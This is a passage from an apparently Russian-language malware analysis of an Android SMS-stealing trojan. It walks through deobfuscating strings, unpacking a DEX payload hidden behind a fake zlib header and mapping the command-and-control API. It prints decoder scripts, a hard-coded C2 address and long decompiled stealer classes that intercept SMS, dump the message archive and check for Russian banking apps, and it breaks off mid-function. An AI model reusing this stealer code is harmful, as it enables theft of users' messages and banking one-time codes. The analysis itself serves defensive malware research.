F3432883eTlgx | -486 | L0b4c3f2QFmO.java:28 |
F0b0cb632Tlgx | 188 | L9e63ba2QFmO.java:22 |
Fac2bad8fTlgx | -437 | Ldacae8bQFmO.java:28 |
F6b3ca6d0Tlgx | 467 | L51a4aa6QFmO.java:24 |
F0cd5ee95Tlgx | 46 | Lfb61d19QFmO |
Ключи вычисляются динамически, например L9e63ba2QFmO.F0b0cb632Tlgx ^ 180 в файлеapp/src/main/java/L16a8154QFmO/L17abc0dQFmO/Lf2dbcccQFmO/Laed1011QFmO.java :
case 1750595:
L51a4aa6QFmO.Q2a09e72czACV(L0b4c3f2QFmO.Qcbbc1254zACV(Q86c4afcbzACV(), 49, L9e63ba2QFmO.F0b0cb632Tlgx ^ 180, 1074), Ldacae8bQFmO.Q56c5a16bzACV(Q86c4afcbzACV(), 57, Lfb61d19QFmO.F0cd5ee95Tlgx ^ (-858), 3116));
if (L0b4c3f2QFmO.F3432883eTlgx >= 0) {
L0b4c3f2QFmO.Q06be88f1zACV();
iQde8db453zACV = Lfb61d19QFmO.Qac33b0b7zACV(L434d8b2QFmO.Qdd57eeb5zACV(Febab3b5dTlgx, 529, 3, 2760));
}
else {
iQde8db453zACV = (L0b4c3f2QFmO.F3432883eTlgx / L9e63ba2QFmO.F0b0cb632Tlgx) + 1753546;
}
break;Скрипт решает следующие задачи
Парсит JADX-декомпилированные Java файлы и ищет в них
short[]массивы с вызовами*QFmO*();Подставляет известные значения полей (из таблицы выше) в выражения ключей;
Декодирует строку по известной нам уже формуле
(char)(short_array[offset + i] ^ key);Брутфорсом перебирает все 65536 ключей с проверкой читаемости результата (функция find_best_key).
Погонял я скрипт, но ничего интересного не извлек из этих java файлов: только пути для загрузки DEX и системные вызовы. Переходим к анализу дальше.
payload.dex
Сейчас посмотрим, что за этот dex. В папке app/src/main/assets/ видим следующие файлы:

DycyX.mb - это упакованный DEX, который и загружается указанным кодом выше.
cfg.dat и .Xj3X3sxItIypfDAA.txt - шифрованные файлы, какой-то набор байт - нас они не интересуют в данный момент.
Начинаем разбираться с нашим DEX файлом. Выше я уже говорил про ZIP poisoning - тут примерно тоже самое. Посмотрим начало файла DycyX.mb:

Первые 2 байта (78 9C) имитируют zlib-заголовок: 78 — заголовок zlib (deflate, окно 32K), а 9C — контрольная сумма zlib. Далее мы видим сигнатуру DEX-файла (выделена на скриншоте выше). Это трюк для обхода автоматических сигнатурных сканеров: утилиты видят “сжатый” файл и не анализируют его как DEX.
Откидываем два байта простым скриптом:
data = read("DycyX.mb")
dex = data[2:] # откидываем 2 первых байта фейкового zlib-заголовока
write("payload.dex", dex)
#либо для тех, кто любит однострочники (но их две, да)
data = open('app/src/main/assets/DycyX.mb', 'rb').read()
open('app/src/main/assets/payload.dex', 'wb').write(data[2:])С полученным dex файлом начинаем проделывать то же самое - закидываем в JADX-GUI и смотрим, что получилось.

Сразу видно уже знакомые нам из манифеста имена сервисов приложения:
service
Строка 57: android:name="com.reawlme.kcupeyue.POIX1UVS23"Строка 71: android:name="com.reawlme.kcupeyue.POIX1UVS20"Строка 74: android:name="com.reawlme.kcupeyue.POIX1UVS22"Строка 87: android:name="com.reawlme.kcupeyue.POIX1UVS21"Строка 92: android:name="com.reawlme.kcupeyue.POIX1UVS19"Строка 96: android:name="com.reawlme.kcupeyue.POIX1UVS16"Строка 105: android:name="com.reawlme.kcupeyue.POIX1UVS12"Строка 114: android:name="com.reawlme.kcupeyue.POIX1UVS1"Строка 124: android:name="com.reawlme.kcupeyue.POIX1UVS18"
Извлечённых файлов получилось много, поэтому на полученную папку натравливаю вновь OpenCode с API Deepseek и прошу разобрать структуру. Получилось следующее:
Файл | Роль |
MainActivity.java | Точка входа, WebView для фишинга |
Http.java | HTTP-клиент с шифрованием (о нем будет ниже) |
C0715a.java | Менеджер конфигурации |
C0717c.java | Менеджер серверов (bootstrap + ротация) |
POIX1UVS16.java | SMS-перехватчик |
POIX1UVS19.java | Сбор данных и отправка на сервер |
POIX1UVS21.java | Foreground-сервис C2 |
POIX1UVS1.java | Boot-ресивер |
В пакете p000a 324 файла, в которых ИИ увидел обфусцированные R8/ProGuard вспомогательные классы. Сделал этот вывод он по формату переменных:
Классы переименованы:
p000a.C0000a,p000a.C0058bk,p000a.C0290u7Методы:
m117a(),m560b(),m604d()Поля:
f521a,f580f,f599c
Честно скажу - я ни разу не сталкивался с данным обфускатором (я с Java не работаю в профессиональном плане), но благо в интернете есть уже готовые проекты, например - https://github.com/LXGaming/Reconstruct . Как сказано в ответе stackoverflow ProGuard больше минимайзер - заменяет названия классов, методов и переменных на максимально возможно короткие (что мы увидели уже). Но строковые константы закодированы другим алгоритмом.
Цепочка вызовов идёт следующим образом:
POIX1UVS16.m878e() — SMS-перехватчик
└→ Http.m850q(context, URL, json, id) — отправка SMS
└→ C0058bk.m121e(context) — получение panel_url
└→ C0715a.getPanelUrl() — C0715a.java:81-83
└→ C0717c.getCurrentServerUrl() — C0717c.java:206-214
└→ server.getUrl() — C0717c.java:72-74
└→ C0290u7.m574p() + ip + ":" + portНезамысловатая функция с говорящим названием getBootstrapUrl вызывается в файле payload_jadx/sources/com/reawlme/kcupeyue/C0717c.java:
public String getBootstrapUrl() {
return C0290u7.m574p() + C0290u7.m561c() + ":80";
// "http://" + IP адрес + ":80"
}А строковые константы шифруются следующей функцией (файл payload_jadx/sources/ p000a/C0290u7.java):
C0290u7.java:строки 128-156
/* JADX INFO: renamed from: a */
private static String m559a(int[] iArr, int i) {
int length = iArr.length;
char[] cArr = new char[length];
int i2 = 0;
while (true) {
int i3 = 29364;
while (true) {
int i4 = (i3 ^ 29364) % 5;
if (i4 == 0) {
cArr[i2] = (char) (iArr[i2] ^ ((((i2 * 13) + i) + 7) & 255));
} else if (i4 == 1) {
i2++;
if (i2 < length) {
break;
}
i3 = 29366;
} else {
if (i4 == 2) {
return new String(cArr);
}
if (i4 != 3) {
if (i4 != 4) {
}
}
}
i3 = 29365;
}
}
}Формула почти напоминает формулу выше, но чутка другая - на внешний вид это позиционно-зависимый XOR. ИИ подсказал, что таблица диспетчеризации находится в этом же файле дальше этой функции в строках 159-230.
Метод m560b(index) использует хеш ((index * 10003) + 20113) % 41 для выбора массива и ключа. Прошу ИИ написать мне скрипт для декодирования - вот полученный результат:
decode_payload.py
#!/usr/bin/env python3
"""Decode strings from C0290u7 (HTTP constants) and C0293v0 (FenrirCrypto keys)."""
# ─── C0290u7 decoder ──────────────────────────────────────
def decode_u7(arr, key):
"""cArr[i] = (char)(iArr[i] ^ (((i*13) + key + 7) & 255))"""
return ''.join(chr(v ^ (((i * 13) + key + 7) & 255)) for i, v in enumerate(arr))
u7_arrays = {
'f351b': ([110, 61, 47, 7, 7, 231, 160, 245, 199, 192, 166, 190, 169, 133, 133, 125], 58),
'f353d': ([125, 44, 24, 22, 244, 246, 143, 194, 200, 163, 177, 147, 193], 75),
'f355f': ([76, 3, 9, 229, 229, 193, 158, 221, 163, 189, 134, 153, 144, 121, 109], 92),
'f357h': ([91, 242, 250, 244, 218, 208, 237, 189, 185, 143, 131, 109, 116], 109),
'f359j': ([170, 255, 250, 200, 208, 167, 252, 149, 157, 150, 102, 117, 69], 126),
'f361l': ([185, 206, 213, 217, 163, 182, 203, 131, 155, 123, 119, 87, 70], 143),
'f363n': ([135, 216, 167, 171, 181, 136, 217, 115, 98, 114, 73, 82, 55, 34], 161),
'f365p': ([150, 165, 183, 142, 194, 155, 116, 103, 68, 90, 20], 178),
'f367r': ([229, 180, 128, 159, 209, 101, 119, 65, 87, 76], 195),
'f369t': ([234, 223, 195, 44, 62, 46, 29, 24, 113, 98, 111, 68, 79, 181], 212),
'f371v': ([180, 212, 64, 118, 78, 95, 83, 53, 121, 36, 0, 24], 229),
'f373x': ([165, 39, 86, 116, 120, 19, 0, 61, 28], 246),
'f375z': ([122, 78, 78, 44, 49, 58, 65, 16, 226], 23),
'f339ab': ([108, 83, 39, 34, 6, 30, 9, 167, 195, 221, 193, 219], 40),
'f341ad': ([33, 61, 42, 11, 29, 226, 239, 239, 193, 218, 172, 224, 182, 154, 153, 109, 43, 61, 73, 95, 37, 35, 45, 14, 12, 184, 231, 235, 202, 148, 254], 57),
'f343af': ([23, 16, 57, 73], 74),
'f345ah': ([10, 27, 8, 249, 172, 140, 159], 91),
'f347aj': ([66], 108),
'f349al': ([31, 251, 232, 201, 219, 220, 173, 173, 143, 156, 110, 34, 112, 84, 91, 47], 119),
}
# ─── C0293v0 decoder ──────────────────────────────────────
def decode_v0(arr, key):
"""cArr[i] = (char)(iArr[i] ^ (((i*13) + key + 7) & 255))"""
return ''.join(chr(v ^ (((i * 13) + key + 7) & 255)) for i, v in enumerate(arr))
v0_arrays = {
'f380d': ([66, 25, 118, 120, 3, 37, 177, 174], 45),
'f382f': ([50, 31, 105, 44, 8, 200, 170, 132], 62),
'f384h': ([36, 55, 66, 91, 224, 219, 145, 155], 79),
'f386j': ([4, 50, 182, 171, 249, 224, 133, 167], 96),
'f388l': ([215, 40, 67, 139, 36, 89, 221, 252, 43, 158, 247, 81], None), # special
}
print("=" * 70)
print("C0290u7 DECODED STRINGS (HTTP Headers / API paths / Config)")
print("=" * 70)
# Build hash->array mapping (same as m560b switch)
# hash = ((i * 10003) + 20113) % 41
# Case labels: 5=f349al, 6=f347aj, 7=f345ah, 8=f343af, 9=f341ad,
# 10=f339ab, 11=f375z, 12=f373x, 13=f371v, 14=f369t,
# 15=f367r, 16=f365p, 17=f363n, 18=f361l, 19=f359j,
# 20=f357h, 21=f355f, 22=f353d, 23=f351b
hash_to_arr = {
5: 'f349al', 6: 'f347aj', 7: 'f345ah', 8: 'f343af', 9: 'f341ad',
10: 'f339ab', 11: 'f375z', 12: 'f373x', 13: 'f371v', 14: 'f369t',
15: 'f367r', 16: 'f365p', 17: 'f363n', 18: 'f361l', 19: 'f359j',
20: 'f357h', 21: 'f355f', 22: 'f353d', 23: 'f351b',
}
# Function names from C0290u7
func_index = {
'm573o()': 0, 'm563e()': 1, 'm575q()': 2, 'm576r()': 3,
'm577s()': 4, 'm578t()': 5, 'm579u()': 6, 'm562d()': 7,
'm572n()': 8, 'm561c()': 9, 'm568j()': 10, 'm565g()': 11,
'm567i()': 12, 'm566h()': 13, 'm570l()': 14, 'm571m()': 15,
'm574p()': 16, 'm564f()': 17, 'm569k()': 18,
}
# Context hints from Http.java
context_hints = {
4: 'SMS upload path (POIX1UVS16)',
10: 'Content-Type header',
11: 'deviceId header (API key check)',
12: 'deviceId url param (post)',
13: 'Encryption header key',
14: 'application/json content type',
15: 'Encryption prefix (Fenrir crypto)',
17: 'text/plain content type',
18: 'Encryption header value',
}
print(f"\n{'Function':<15} {'Index':<6} {'Hash':<6} {'Name':<10} {'Decoded String'}")
print("-" * 70)
for fn_name, idx in sorted(func_index.items(), key=lambda x: x[1]):
h = ((idx * 10003) + 20113) % 41
arr_name = hash_to_arr.get(h, '???')
if arr_name in u7_arrays:
arr, key = u7_arrays[arr_name]
decoded = decode_u7(arr, key)
else:
decoded = '(no array)'
hint = context_hints.get(idx, '')
print(f'{fn_name:<15} {idx:<6} {h:<6} {arr_name:<10} \"{decoded}\" {hint}')
print()
print("=" * 70)
print("C0293v0 DECODED STRINGS (FenrirCrypto keys)")
print("=" * 70)
v0_strings = {}
for name, (arr, key) in v0_arrays.items():
if name == 'f388l':
# Special decoding: f379c[i] = (byte)(f388l[i] ^ (((i*11)+116)&255))
keybytes = bytes(v ^ (((i * 11) + 116) & 255) for i, v in enumerate(arr))
print(f' f388l (IV/key bytes): {keybytes.hex()} (len={len(keybytes)})')
else:
s = decode_v0(arr, key)
v0_strings[name] = s
print(f' {name} (key={key}): \"{s}\"')
# The crypto key = m606f() = concat of f380d + f382f + f384h + f386j
crypto_key = ''.join(v0_strings.get(n, '') for n in ['f380d', 'f382f', 'f384h', 'f386j'])
print(f'\n FENRIR CRYPTO KEY (32 chars): \"{crypto_key}\"')
print(f' Crypto module name: "FenrirCrypto"')
Полученные значения после работы скрипта:
Метод | m560b(index) | Декодированная строка |
m574p() | 16 | http:// |
m561c() | 9 | 76.124.222.81 - вот наш IP C2-сервера |
m572n() | 8 | /cdn/nodes |
m573o() | 0 | /store/inventory |
m563e() | 1 | /store/order/ |
m575q() | 2 | /store/checkout |
m576r() | 3 | /store/refund |
m577s() | 4 | /media/uplaad |
m578t() | 5 | /media/report |
m579u() | 6 | /media/process |
m562d() | 7 | /cdn/asset/ |
m568j() | 10 | X-Fenrir-Enc |
m565g() | 11 | X-API-Key |
m567i() | 12 | device-id |
m566h() | 13 | Content-Type |
m570l() | 14 | application/json; charset=utf-8 |
m571m() | 15 | FNR1 |
m564f() | 17 | 1 |
m569k() | 18 | application/json |
Bootstrap сервер жестко задан: http://176.124.222.81:80/cdn/nodes Данный IP адрес мы уже видели в отчёте VirusTotal. К сожалению (точнее к счастью), сервер уже не доступен. А так бы можно было получить JSON следующего формата (ИИ востановил структуру из файла C0717.java)
C0717.java
package com.reawlme.kcupeyue;
import android.content.Context;
import android.content.SharedPreferences;
import java.util.ArrayList;
import java.util.List;
import java.util.Objects;
import java.util.concurrent.TimeUnit;
import okhttp3.OkHttpClient;
import okhttp3.Request;
import okhttp3.Response;
import org.json.JSONArray;
import org.json.JSONObject;
import p000a.C0210m7;
import p000a.C0290u7;
/* JADX INFO: renamed from: com.reawlme.kcupeyue.c */
/* JADX INFO: loaded from: C:\Analizing\Android\payload.dex */
public class C0717c {
/* JADX INFO: renamed from: e */
private static final String f590e = "ServerManager";
/* JADX INFO: renamed from: f */
private static final String f591f = "server_config";
/* JADX INFO: renamed from: g */
private static final int f592g = 80;
/* JADX INFO: renamed from: h */
private static final String f593h = "servers_json";
/* JADX INFO: renamed from: i */
private static final String f594i = "current_index";
/* JADX INFO: renamed from: j */
private static final String f595j = "last_update";
/* JADX INFO: renamed from: k */
private static C0717c f596k;
/* JADX INFO: renamed from: a */
private final SharedPreferences f597a;
/* JADX INFO: renamed from: b */
private final Context f598b;
/* JADX INFO: renamed from: c */
private final List<a> f599c;
/* JADX INFO: renamed from: d */
private int f600d;
/* JADX INFO: renamed from: com.reawlme.kcupeyue.c$a */
public static class a {
/* JADX INFO: renamed from: a */
public String f601a;
/* JADX INFO: renamed from: b */
public int f602b;
/* JADX INFO: renamed from: c */
public int f603c;
public a(String str, int i, int i2) {
this.f601a = str;
this.f602b = i;
this.f603c = i2;
}
public String getUrl() {
return C0290u7.m574p() + this.f601a + ":" + this.f602b;
}
public String toString() {
return this.f601a + ":" + this.f602b + " (prio:" + this.f603c + ")";
}
}
private C0717c(Context context) {
Context applicationContext = context.getApplicationContext();
this.f598b = applicationContext;
SharedPreferences sharedPreferences = applicationContext.getSharedPreferences(f591f, 0);
this.f597a = sharedPreferences;
this.f599c = new ArrayList();
this.f600d = sharedPreferences.getInt(f594i, 0);
m929g();
}
/* JADX INFO: renamed from: d */
public static synchronized C0717c m927d(Context context) {
try {
if (f596k == null) {
f596k = new C0717c(context);
}
} catch (Throwable th) {
throw th;
}
return f596k;
}
/* JADX INFO: Access modifiers changed from: private */
/* JADX INFO: renamed from: f */
public static /* synthetic */ int m928f(a aVar, a aVar2) {
return Integer.compare(aVar2.f603c, aVar.f603c);
}
/* JADX INFO: renamed from: g */
private void m929g() {
String string = this.f597a.getString(f593h, null);
if (string == null || string.isEmpty()) {
return;
}
try {
m930h(string);
this.f599c.size();
} catch (Exception e) {
e.getMessage();
this.f599c.clear();
}
}
/* JADX INFO: renamed from: h */
private void m930h(String str) throws Exception {
JSONObject jSONObject = new JSONObject(str);
if (!jSONObject.optBoolean("success", false)) {
throw new Exception("Server returned success=false");
}
this.f599c.clear();
JSONArray jSONArray = jSONObject.getJSONArray("servers");
for (int i = 0; i < jSONArray.length(); i++) {
JSONObject jSONObject2 = jSONArray.getJSONObject(i);
this.f599c.add(new a(jSONObject2.getString("ip"), jSONObject2.optInt("port", f592g), jSONObject2.optInt("priority", 0)));
}
this.f599c.sort(new C0210m7());
if (this.f600d >= this.f599c.size()) {
this.f600d = 0;
m931j();
}
}
/* JADX INFO: renamed from: j */
private void m931j() {
this.f597a.edit().putInt(f594i, this.f600d).apply();
}
/* JADX INFO: renamed from: k */
private void m932k(String str) {
this.f597a.edit().putString(f593h, str).putLong(f595j, System.currentTimeMillis()).apply();
}
/* JADX INFO: renamed from: b */
public void m933b() {
this.f599c.clear();
this.f600d = 0;
this.f597a.edit().clear().apply();
}
/* JADX INFO: renamed from: c */
public boolean m934c() {
String str = getBootstrapUrl() + C0290u7.m572n();
try {
OkHttpClient.Builder builder = new OkHttpClient.Builder();
TimeUnit timeUnit = TimeUnit.SECONDS;
Response responseExecute = builder.connectTimeout(10L, timeUnit).readTimeout(10L, timeUnit).build().newCall(new Request.Builder().url(str).get().build()).execute();
if (!responseExecute.isSuccessful() || responseExecute.body() == null) {
responseExecute.code();
return false;
}
String strString = responseExecute.body().string();
m930h(strString);
m932k(strString);
this.f599c.size();
Objects.toString(this.f599c);
return this.f599c.size() > 0;
} catch (Exception e) {
e.getMessage();
return false;
}
}
/* JADX INFO: renamed from: e */
public boolean m935e() {
return !this.f599c.isEmpty();
}
public List<a> getAllServers() {
return new ArrayList(this.f599c);
}
public String getBootstrapUrl() {
return C0290u7.m574p() + C0290u7.m561c() + ":80";
}
public a getCurrentServer() {
if (this.f599c.isEmpty()) {
return null;
}
if (this.f600d >= this.f599c.size()) {
this.f600d = 0;
}
return this.f599c.get(this.f600d);
}
public String getCurrentServerUrl() {
if (this.f599c.isEmpty()) {
return null;
}
if (this.f600d >= this.f599c.size()) {
this.f600d = 0;
}
return this.f599c.get(this.f600d).getUrl();
}
public long getLastUpdateTime() {
return this.f597a.getLong(f595j, 0L);
}
public int getServerCount() {
return this.f599c.size();
}
/* JADX INFO: renamed from: i */
public synchronized void m936i() {
if (this.f600d != 0) {
this.f600d = 0;
m931j();
Objects.toString(getCurrentServer());
}
}
/* JADX INFO: renamed from: l */
public synchronized boolean m937l() {
if (this.f599c.size() <= 1) {
return false;
}
a currentServer = getCurrentServer();
this.f600d = (this.f600d + 1) % this.f599c.size();
m931j();
a currentServer2 = getCurrentServer();
Objects.toString(currentServer);
Objects.toString(currentServer2);
return true;
}
}
JSON
{ “success”: true,
“servers”: [
{“ip”: “176.124.222.81”, “port”: 80, “priority”: 10},
{“ip”: “другой_сервер”, “port”: 80, “priority”: 5}
]
}Сервера сортируются по priority, индекс текущего сохраняется в SharedPreferences. При ошибке — ротация на следующий сервер (строки 234-245 в C0717c.java).
Исходя из кода, ИИ выделил следующие точки API:
API | HTTP | Где вызывается | Данные |
/store/inventory | не определил | — | Регистрация устройства |
/store/checkout | POST | POIX1UVS19.java:362-38 | Полный дамп: device_id, worker, device_model, android_version, app_name, phone_number, sim_count, found_apps, sms_archive |
/store/order/ | GET | — | Заказ - скорее всего получение команд что нужно украсть |
/store/refund | GET | POIX1UVS19.java:433 | Проверка retry_phone |
/media/uplaad | POST | POIX1UVS16.java:77 | Перехваченное SMS: device_id, sender, text, sim_slot |
/media/report | ? | — | Отчёт |
/media/process | ? | — | |
/cdn/asset/ | ? | — | CDN-ресурсы |
/cdn/nodes | GET | C0717c.java:162-166 | Список серверов |
POIX1UVS16.java
package com.reawlme.kcupeyue;
import android.app.role.RoleManager;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.os.Build;
import android.os.Bundle;
import android.os.PowerManager;
import android.provider.Telephony;
import android.telephony.SmsMessage;
import java.io.IOException;
import okhttp3.Call;
import okhttp3.Callback;
import okhttp3.HttpUrl;
import okhttp3.Response;
import org.json.JSONObject;
import p000a.AbstractC0282u;
import p000a.C0058bk;
import p000a.C0102cs;
import p000a.C0290u7;
/* JADX INFO: loaded from: C:\Analizing\Android\payload.dex */
public class POIX1UVS16 extends BroadcastReceiver {
/* JADX INFO: renamed from: a */
private static final String f539a = "POIX1UVS16";
/* JADX INFO: renamed from: b */
private int m875b(Bundle bundle) {
int i = bundle.getInt("slot", -1);
if (i == -1) {
i = bundle.getInt("simId", -1);
}
if (i == -1) {
i = bundle.getInt("phone", -1);
}
if (i == -1) {
i = bundle.getInt("subscription", 0);
}
return i + 1;
}
/* JADX INFO: renamed from: c */
private boolean m876c(Context context) {
if (Build.VERSION.SDK_INT < 29) {
return context.getPackageName().equals(Telephony.Sms.getDefaultSmsPackage(context));
}
RoleManager roleManagerM525c = AbstractC0282u.m525c(context.getSystemService("role"));
return roleManagerM525c != null && roleManagerM525c.isRoleHeld("android.app.role.SMS");
}
/* JADX INFO: Access modifiers changed from: private */
/* JADX INFO: renamed from: d */
public void m877d(PowerManager.WakeLock wakeLock) {
if (wakeLock != null) {
try {
if (wakeLock.isHeld()) {
wakeLock.release();
}
} catch (Exception unused) {
}
}
}
/* JADX INFO: renamed from: e */
private void m878e(Context context, String str, String str2, int i, final PowerManager.WakeLock wakeLock) {
try {
String strM230b = C0102cs.m230b(context);
String str3 = C0058bk.m121e(context) + C0290u7.m577s();
JSONObject jSONObject = new JSONObject();
jSONObject.put("device_id", strM230b);
jSONObject.put("sender", str);
jSONObject.put("text", str2);
jSONObject.put("sim_slot", i);
str2.substring(0, Math.min(50, str2.length()));
Http.m850q(context, str3, jSONObject.toString(), strM230b, new Callback() { // from class: com.reawlme.kcupeyue.POIX1UVS16.1
@Override // okhttp3.Callback
public void onFailure(Call call, IOException iOException) {
iOException.getMessage();
POIX1UVS16.this.m877d(wakeLock);
}
@Override // okhttp3.Callback
public void onResponse(Call call, Response response) {
response.code();
response.close();
POIX1UVS16.this.m877d(wakeLock);
}
});
} catch (Exception unused) {
m877d(wakeLock);
}
}
/* JADX INFO: renamed from: f */
private void m879f(Context context) {
POIX1UVS21 poix1uvs21 = POIX1UVS21.getInstance();
if (poix1uvs21 != null) {
poix1uvs21.acquireWakeLock();
poix1uvs21.sendPing();
} else {
Intent intent = new Intent(context, (Class<?>) POIX1UVS21.class);
intent.setAction("SMS_EVENT");
context.startForegroundService(intent);
}
}
@Override // android.content.BroadcastReceiver
public void onReceive(Context context, Intent intent) {
if (intent == null) {
return;
}
String action = intent.getAction();
if (m876c(context)) {
if (!"android.provider.Telephony.SMS_DELIVER".equals(action)) {
return;
}
} else if (!"android.provider.Telephony.SMS_RECEIVED".equals(action)) {
return;
}
if ("android.provider.Telephony.SMS_RECEIVED".equals(action) || "android.provider.Telephony.SMS_DELIVER".equals(action)) {
PowerManager.WakeLock wakeLockNewWakeLock = ((PowerManager) context.getSystemService("power")).newWakeLock(1, "POIX1UVS16:Lock");
wakeLockNewWakeLock.acquire(30000L);
try {
Bundle extras = intent.getExtras();
if (extras != null) {
Object[] objArr = (Object[]) extras.get("pdus");
String string = extras.getString("format");
if (objArr != null) {
StringBuilder sb = new StringBuilder();
int iM875b = m875b(extras);
String originatingAddress = HttpUrl.FRAGMENT_ENCODE_SET;
for (Object obj : objArr) {
SmsMessage smsMessageCreateFromPdu = SmsMessage.createFromPdu((byte[]) obj, string);
originatingAddress = smsMessageCreateFromPdu.getOriginatingAddress();
sb.append(smsMessageCreateFromPdu.getMessageBody());
}
m878e(context, originatingAddress, sb.toString(), iM875b, wakeLockNewWakeLock);
m879f(context);
return;
}
}
} catch (Exception unused) {
}
if (wakeLockNewWakeLock.isHeld()) {
wakeLockNewWakeLock.release();
}
}
}
}
POIX1UVS19
package com.reawlme.kcupeyue;
import android.app.Service;
import android.app.role.RoleManager;
import android.content.Intent;
import android.content.pm.ApplicationInfo;
import android.content.pm.PackageManager;
import android.database.Cursor;
import android.net.Uri;
import android.os.Build;
import android.os.IBinder;
import android.provider.Telephony;
import android.telephony.SmsManager;
import android.telephony.SubscriptionInfo;
import android.telephony.SubscriptionManager;
import androidx.core.content.ContextCompat;
import java.io.IOException;
import java.text.SimpleDateFormat;
import java.util.ArrayList;
import java.util.Collection;
import java.util.Date;
import java.util.HashMap;
import java.util.Iterator;
import java.util.List;
import java.util.Map;
import java.util.TimeZone;
import okhttp3.Call;
import okhttp3.Callback;
import okhttp3.Response;
import org.json.JSONArray;
import org.json.JSONObject;
import p000a.AbstractC0282u;
import p000a.C0058bk;
import p000a.C0102cs;
import p000a.C0290u7;
import p000a.RunnableC0021ak;
/* JADX INFO: loaded from: C:\Analizing\Android\payload.dex */
public class POIX1UVS19 extends Service {
/* JADX INFO: renamed from: b */
private static final String f542b = "POIX1UVS19";
/* JADX INFO: renamed from: c */
private static final int f543c = 10;
/* JADX INFO: renamed from: d */
private static final int f544d = 5000;
/* JADX INFO: renamed from: e */
private static boolean f545e;
/* JADX INFO: renamed from: f */
private static boolean f546f;
/* JADX INFO: renamed from: g */
private static final Map<String, String> f547g = new C0706a();
/* JADX INFO: renamed from: a */
private int f548a = 0;
/* JADX INFO: renamed from: com.reawlme.kcupeyue.POIX1UVS19$a */
public class C0706a extends HashMap<String, String> {
public C0706a() {
put("Сбербанк", "ru.sberbankmobile");
put("ВТБ", "ru.vtb24.mobilebanking");
put("Альфа-Банк", "ru.alfabank.mobile.android");
put("Тинькофф", "com.idamob.tinkoff.android");
put("Газпромбанк", "ru.gazprombank.android");
put("Открытие", "ru.openbank");
put("ПСБ", "ru.psbank.mobile");
put("Райффайзенбанк", "ru.raiffeisennews");
put("МКБ", "ru.mkb.mobile");
put("Росбанк", "ru.rosbank.android");
put("ЮниКредит", "ru.unicredit");
put("Уралсиб", "ru.uralsib.smarthome");
put("Совкомбанк", "ru.sovcombank.android");
put("СКБ-Банк", "ru.skbkontur.client");
put("Почта Банк", "ru.pochta.bank");
put("СберБизнес", "ru.sberbank_sbbol");
put("Госуслуги", "ru.gosuslugi");
put("Госключ", "ru.gosuslugi.goskey");
put("Wildberries", "com.wildberries.ru");
put("Ozon", "ru.ozon.app.android");
put("Яндекс", "ru.yandex.searchplugin");
put("WhatsApp", "com.whatsapp");
}
}
/* JADX WARN: Removed duplicated region for block: B:34:0x0160 A[LOOP:1: B:31:0x0108->B:34:0x0160, LOOP_END] */
/* JADX WARN: Removed duplicated region for block: B:38:0x0168 A[PHI: r12
0x0168: PHI (r12v7 android.database.Cursor) = (r12v6 android.database.Cursor), (r12v8 android.database.Cursor) binds: [B:42:0x0172, B:37:0x0166] A[DONT_GENERATE, DONT_INLINE]] */
/* JADX WARN: Removed duplicated region for block: B:57:0x0166 A[EDGE_INSN: B:57:0x0166->B:37:0x0166 BREAK A[LOOP:1: B:31:0x0108->B:34:0x0160], SYNTHETIC] */
/* JADX INFO: renamed from: f */
/*
Code decompiled incorrectly, please refer to instructions dump.
*/
private String m885f() {
String str;
String str2;
String str3 = "date";
String str4 = "body";
StringBuilder sb = new StringBuilder("╔══════════════════════════════════════╗\n║ SMS ARCHIVE ║\n╠══════════════════════════════════════╣\n║ Date: ");
SimpleDateFormat simpleDateFormat = new SimpleDateFormat("dd.MM.yyyy HH:mm:ss");
simpleDateFormat.setTimeZone(TimeZone.getTimeZone("Europe/Moscow"));
sb.append(simpleDateFormat.format(new Date()));
sb.append("\n║ Device: ");
sb.append(Build.MODEL);
sb.append("\n╚══════════════════════════════════════╝\n\n┌──────────────────────────────────────┐\n│ INBOX MESSAGES │\n└──────────────────────────────────────┘\n\n");
int i = 1;
Cursor cursorQuery = null;
try {
try {
cursorQuery = getContentResolver().query(Uri.parse("content://sms/inbox"), null, null, null, "date DESC LIMIT 200");
if (cursorQuery == null || !cursorQuery.moveToFirst()) {
str = "date";
str2 = "body";
} else {
int i2 = 1;
while (true) {
String string = cursorQuery.getString(cursorQuery.getColumnIndexOrThrow("address"));
String string2 = cursorQuery.getString(cursorQuery.getColumnIndexOrThrow(str4));
str = str3;
str2 = str4;
try {
long j = cursorQuery.getLong(cursorQuery.getColumnIndexOrThrow(str3));
sb.append("━━━━━━━━━━ SMS #");
int i3 = i2 + 1;
sb.append(i2);
sb.append(" ━━━━━━━━━━\n");
sb.append("From: ");
sb.append(string);
sb.append("\n");
sb.append("Time: ");
sb.append(simpleDateFormat.format(new Date(j)));
sb.append("\n");
sb.append("Text:\n");
sb.append(string2);
sb.append("\n\n");
if (!cursorQuery.moveToNext()) {
break;
}
i2 = i3;
str3 = str;
str4 = str2;
} catch (Exception e) {
e = e;
sb.append("Error reading SMS: ");
sb.append(e.getMessage());
sb.append("\n");
if (cursorQuery != null) {
}
sb.append("\n┌──────────────────────────────────────┐\n│ SENT MESSAGES │\n└──────────────────────────────────────┘\n\n");
cursorQuery = getContentResolver().query(Uri.parse("content://sms/sent"), null, null, null, "date DESC LIMIT 100");
if (cursorQuery != null) {
while (true) {
String string3 = cursorQuery.getString(cursorQuery.getColumnIndexOrThrow("address"));
String str5 = str2;
String string4 = cursorQuery.getString(cursorQuery.getColumnIndexOrThrow(str5));
String str6 = str;
long j2 = cursorQuery.getLong(cursorQuery.getColumnIndexOrThrow(str6));
str2 = str5;
sb.append("━━━━━━━━━━ SENT #");
int i4 = i + 1;
sb.append(i);
sb.append(" ━━━━━━━━━━\n");
sb.append("To: ");
sb.append(string3);
sb.append("\n");
sb.append("Time: ");
sb.append(simpleDateFormat.format(new Date(j2)));
sb.append("\n");
sb.append("Text:\n");
sb.append(string4);
sb.append("\n\n");
if (cursorQuery.moveToNext()) {
}
i = i4;
str = str6;
}
}
if (cursorQuery != null) {
}
sb.append("\n╔══════════════════════════════════════╗\n║ END OF ARCHIVE ║\n╚══════════════════════════════════════╝\n");
return sb.toString();
}
}
}
} finally {
if (cursorQuery != null) {
cursorQuery.close();
}
}
} catch (Exception e2) {
e = e2;
str = str3;
str2 = str4;
}
if (cursorQuery != null) {
cursorQuery.close();
}
sb.append("\n┌──────────────────────────────────────┐\n│ SENT MESSAGES │\n└──────────────────────────────────────┘\n\n");
try {
